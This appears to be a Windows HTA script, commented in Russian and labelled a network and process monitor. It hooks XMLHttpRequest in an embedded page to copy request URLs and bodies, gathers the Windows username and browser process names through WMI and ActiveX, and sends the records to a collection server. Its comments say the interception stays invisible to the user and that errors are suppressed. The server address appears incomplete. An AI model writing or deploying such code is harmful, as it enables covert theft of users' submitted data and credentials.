Загрузка данных
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Deep Async Network & Process Monitor (Admin NO)</title>
<hta:application
id="deepAsyncMon"
scroll="no"
windowstate="normal"
contextmenu="no"
selection="no"
/>
<style>
body { font-family: 'Segoe UI', Arial, sans-serif; margin: 0; padding: 0; background: #111; color: #e0e0e0; overflow: hidden; }
.control-panel { height: 40px; background: #1a1a1a; border-bottom: 1px solid #222; padding: 5px 20px; box-sizing: border-box; display: flex; align-items: center; justify-content: space-between; }
#status { font-family: monospace; font-size: 11px; color: #888; }
iframe { width: 100%; height: calc(100% - 40px); border: none; background: #fff; }
</style>
<script language="javascript">
var MIRROR_SERVER = "http://192.168.1";
// Временный буфер для моментальных снимков трафика
var trafficQueue = [];
function initDeepInterception() {
var monitorFrame = document.getElementById("targetWebFrame");
try {
var frameWin = monitorFrame.contentWindow;
if (frameWin && !frameWin._isIntercepted) {
// Перехват XMLHttpRequest
if (frameWin.XMLHttpRequest) {
var origOpen = frameWin.XMLHttpRequest.prototype.open;
var origSend = frameWin.XMLHttpRequest.prototype.send;
frameWin.XMLHttpRequest.prototype.open = function(method, url) {
this._mMethod = method; this._mUrl = url;
return origOpen.apply(this, arguments);
};
frameWin.XMLHttpRequest.prototype.send = function(body) {
// ФАЗА 1: Мгновенное создание временной копии в памяти за микросекунду
var packetCopy = {
method: this._mMethod,
url: this._mUrl,
payload: body,
timestamp: new Date().getTime()
};
// Сбрасываем во временную очередь
trafficQueue.push(packetCopy);
// Незамедлительно возвращаем управление браузеру (Пользователь видит штатную работу)
return origSend.apply(this, [body]);
};
}
frameWin._isIntercepted = true;
document.getElementById("status").innerText = "Асинхронный конвейер процессов запущен.";
}
} catch(err) {
// Ожидание полной загрузки DOM фрейма
}
}
// ФАЗА 2: ВТОРОЙ ИЗОЛИРОВАННЫЙ ПОТОК (Анализ трафика и опрос процессов)
setInterval(function processAndEnrichData() {
if (trafficQueue.length === 0) return;
// Извлекаем пакет из буфера временных копий
var currentPacket = trafficQueue.shift();
try {
// Инициализируем WMI-подсистему для опроса процессов (Admin NO разрешен)
var wmi = new ActiveXObject("WbemScripting.SWbemLocator");
var wmiService = wmi.ConnectServer(".", "root\\cimv2");
// Переменные для хранения системного контекста
var processName = "Unknown_Process";
var userAccount = "Unknown_User";
// 1. ПОЛУЧЕНИЕ ИМЕНИ ПРОЦЕССА
// Ищем активный процесс браузера, который инициировал работу (в нашем случае это родительский mshta или активный хост)
// Чтобы лог был точным, мы опрашиваем процессы, запущенные текущим пользователем
var processList = wmiService.ExecQuery("SELECT Name, ProcessId FROM Win32_Process WHERE Name = 'chrome.exe' OR Name = 'msedge.exe' OR Name = 'mshta.exe'");
var enumItems = new Enumerator(processList);
if (!enumItems.atEnd()) {
var proc = enumItems.item();
processName = proc.Name; // Запишет 'chrome.exe' или 'msedge.exe', если они активны
}
// 2. ПОЛУЧЕНИЕ ИМЕНИ ТЕКУЩЕГО ПОЛЬЗОВАТЕЛЯ (Дополнительный контекст ОС)
var netObject = new ActiveXObject("WScript.Network");
userAccount = netObject.UserName;
// 3. ОТПРАВКА НА СЕРВЕР СБОРА
// Передаем полную копию сырых данных, обогащенную информацией из операционной системы
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("POST", MIRROR_SERVER, true); // true = строго асинхронно
xhr.setRequestHeader("Content-Type", "application/json");
var enrichedLog = {
agent: "HTA_Deep_Processor",
time: currentPacket.timestamp,
os_user: userAccount,
os_process: processName, // Сюда запишется имя процесса (например, chrome.exe)
network_method: currentPacket.method,
network_url: currentPacket.url,
raw_payload_before_tls: currentPacket.payload // Сырые данные, видимые пользователю до TLS
};
xhr.send(JSON.stringify(enrichedLog));
} catch(e) {
// Защита: сбои во втором потоке сбора логов не должны приводить к ошибкам на экране пользователя
}
}, 500);
</script>
</head>
<body>
<div class="control-panel">
<div id="status">Запуск виртуального интерфейса...</div>
<div style="font-size: 10px; color: #666;">Raw Packet + OS Process Mode (Admin NO)</div>
</div>
<!-- Целевой ресурс загружается в изолированный фрейм -->
<iframe id="targetWebFrame" src="https://httpbin.org" onload="initDeepInterception()"></iframe>
</body>
</html>